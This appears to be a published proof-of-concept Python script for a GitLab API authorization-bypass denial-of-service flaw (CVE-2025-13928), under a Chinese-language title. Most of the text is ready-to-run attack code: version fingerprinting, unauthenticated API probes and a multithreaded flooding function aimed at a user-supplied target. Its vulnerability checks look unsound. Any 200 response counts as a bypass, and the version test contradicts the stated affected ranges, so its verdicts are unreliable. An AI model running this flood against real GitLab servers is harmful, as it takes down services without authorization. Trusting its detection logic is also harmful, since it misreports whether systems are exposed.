GitLab CE/EE API授权验证错误导致拒绝服务漏洞(CVE-2025-13928)

# CVE-2025-13928 PoC - GitLab API Authorization Bypass DoS # Target: GitLab CE/EE < 18.6.4, < 18.7.2, < 18.8.2 # Author: Security Researcher # Note: This PoC is for educational and authorized testing purposes only import requests import sys import time from concurrent.futures import ThreadPoolExecutor, as_completed def check_gitlab_version(target_url): """Check if target GitLab version is vulnerable""" try: response = requests.get(f"{target_url}/api/v4/version", timeout=10) if response.status_code == 200: version_info = response.json() version = version_info.get('version', '') print(f"[*] Detected GitLab Version: {version}") return version except Exception as e: print(f"[!] Error checking version: {e}") return None def exploit_api_endpoint(target_url, endpoint): """Attempt to exploit the authorization bypass vulnerability""" headers = { 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2025-13928-PoC)', 'Content-Type': 'application/json' } try: # Attempt unauthenticated API request that should require authorization response = requests.get( f"{target_url}/api/v4/{endpoint}", headers=headers, timeout=5, allow_redirects=False ) # Check if authorization bypass occurred if response.status_code == 200: print(f"[!] VULNERABLE: Authorization bypass detected on {endpoint}") print(f"[*] Response preview: {response.text[:200]}") return True elif response.status_code == 401 or response.status_code == 403: print(f"[+] SAFE: Endpoint {endpoint} properly requires authorization") return False else: print(f"[*] Endpoint returned status {response.status_code}") return None except requests.exceptions.Timeout: print(f"[!] Request timeout on {endpoint} - possible DoS condition") return None except Exception as e: print(f"[!] Error exploiting {endpoint}: {e}") return None def dos_attack(target_url, endpoint, num_requests=100, threads=10): """Perform DoS attack by exploiting the vulnerability""" print(f"[*] Starting DoS attack with {num_requests} requests using {threads} threads") success_count = 0 with ThreadPoolExecutor(max_workers=threads) as executor: futures = [ executor.submit(exploit_api_endpoint, target_url, endpoint) for _ in range(num_requests) ] for future in as_completed(futures): result = future.result() if result: success_count += 1 print(f"[*] Attack completed. {success_count}/{num_requests} requests successful") return success_count def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-13928-poc.py <target_url> [endpoint]") print("Example: python cve-2025-13928-poc.py https://gitlab.example.com") sys.exit(1) target_url = sys.argv[1].rstrip('/') endpoint = sys.argv[2] if len(sys.argv) > 2 else 'projects' print(f"[*] Target: {target_url}") print(f"[*] Testing endpoint: {endpoint}") print("=" * 60) # Check version version = check_gitlab_version(target_url) if version: # Check if version is vulnerable version_parts = version.split('.') if len(version_parts) >= 3: major = int(version_parts[0]) minor = int(version_parts[1]) patch = int(version_parts[2]) is_vulnerable = False if major == 17 and minor >= 7: is_vulnerable = True elif major == 18: if minor < 6 or (minor == 6 and patch < 4): is_vulnerable = True elif minor == 7 and patch < 2: is_vulnerable = True elif minor == 8 and patch < 2: is_vulnerable = True if is_vulnerable: print("[!] Target appears to be VULNERABLE") else: print("[+] Target appears to be PATCHED") print("=" * 60) # Test for authorization bypass vulnerable = exploit_api_endpoint(target_url, endpoint) if vulnerable: print("\n[!] WARNING: Target is vulnerable to CVE-2025-13928") print("[*] Consider running DoS test (use responsibly):") print(f"[*] dos_attack('{target_url}', '{endpoint}', 50, 5)") print("\n[*] Remediation: Upgrade to GitLab 18.6.4, 18.7.2, or 18.8.2+") if __name__ == '__main__': main()